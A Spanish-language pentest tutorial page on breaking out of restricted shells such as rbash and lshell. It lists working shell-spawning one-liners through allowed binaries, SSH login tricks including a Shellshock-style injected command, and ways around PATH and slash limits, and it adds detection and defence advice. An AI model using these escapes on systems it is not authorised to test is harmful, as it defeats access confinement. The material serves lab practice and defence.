the_open_door
café
ESEN
← Volver al índice

Restricted shell escape

Una shell restringida (rbash, rksh, lshell, etc.) limita lo que un usuario puede hacer tras entrar: típicamente prohíbe el cd, impide cambiar variables como PATH (que queda readonly), bloquea el uso de comandos con / y deja un PATH que apunta a un único directorio con un puñado de binarios permitidos. El objetivo es contener al usuario; el del atacante es romper ese contenedor para llegar a una shell normal.

El primer reflejo es inventariar lo permitido: qué hay en el directorio del PATH restringido. Basta un binario que sepa lanzar una shell hija para escapar:

echo $PATH          # p.ej. /home/eleanor/bin (readonly)
ls /home/eleanor/bin
# chmod chown ed ls mv ping sleep touch

Muchas utilidades cotidianas tienen una función de "shell" documentada en GTFOBins. Aquí destaca ed (el editor de líneas): su comando ! ejecuta un programa del sistema, así que abre una shell que no hereda las restricciones de rbash:

ed
!/bin/sh

Ya en la shell hija, lo primero es reconstruir un PATH usable (el de rbash apuntaba a un solo directorio) para recuperar todos los comandos:

export PATH=/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin:$PATH
id

Spawn desde un binario permitido

Según cuál de los binarios permitidos sepa lanzar un hijo, el escape cambia. Una línea por caso:

ed                                                  # dentro: !/bin/sh
vi -c ':!/bin/sh'                                   # o :set shell=/bin/sh + :shell
vim -c ':py3 import os; os.execl("/bin/sh","sh")'
man man                                             # dentro: !/bin/sh
less /etc/profile                                   # dentro: !/bin/sh
awk 'BEGIN {system("/bin/sh")}'
find / -name x -exec /bin/sh \; -quit
python3 -c 'import os; os.system("/bin/sh")'
perl -e 'exec "/bin/sh";'
ruby -e 'exec "/bin/sh"'
lua -e 'os.execute("/bin/sh")'
scp -S /tmp/x.sh x y:                               # scp ejecuta el "ssh" que le pasemos

La clave es siempre la misma: un proceso permitido que genera otro proceso fuera del control de la shell restringida.

Escape en la propia conexión (antes de rbash)

Si la restricción se aplica al iniciar sesión, a veces se evita no llegando a cargar la shell restringida: pedir a SSH otra shell o inyectar un comando en la línea de conexión.

ssh user@<ip> -t "bash --noprofile"                 # fuerza bash normal sin perfiles
ssh user@<ip> -t "/bin/sh"                           # pide sh directamente
ssh user@<ip> "() { :; }; /bin/bash"                 # si hay Shellshock en el ForceCommand
ssh user@<ip> -o "ProxyCommand=/bin/sh -c 'sh 0<&2 1>&2' " x   # ProxyCommand local

Sortear las restricciones de PATH y de "/"

Cuando rbash bloquea comandos con / y deja el PATH de solo lectura, se usan variables e inicializaciones que se leen antes de aplicar la restricción, o funciones que no llevan /:

BASH_CMDS[a]=/bin/sh; a                              # rellena la tabla de comandos hash
export PATH=$PATH:/bin:/usr/bin                      # si PATH aún no es readonly
IFS=/ ; X=($(echo /bin/sh)) ; ${X[*]}               # troceando la ruta sin escribir "/"

Cómo detectarlo. La firma es un proceso hijo de la shell restringida que no es uno de los binarios permitidos: un ed/vi/awk/python (o cualquier intérprete) lanzando sh/bash bajo la sesión de un usuario confinado (auditd/Sysmon for Linux sobre execve con el ppid de rbash/lshell). Un export PATH= o un intento de cd/comando con / rechazado quedan en el historial y en los logs de lshell (/var/log/lshell/). La aparición de comandos de reconocimiento (id, uname -a, sudo -l) inmediatamente tras el login de una cuenta que solo debería usar un menú acotado es el indicio de escape.

Defensa. No confiar la seguridad a rbash: revisar que el directorio del PATH no contenga binarios con escape (editores, paginadores, intérpretes, find), montar el home sin permiso de escritura sobre él, y preferir mecanismos de aislamiento reales (jaulas, contenedores, ForceCommand bien acotado). Relacionado con el abuso de binarios de GTFOBins.

Máquinas donde se aplica

  • PeppoProving Grounds Practice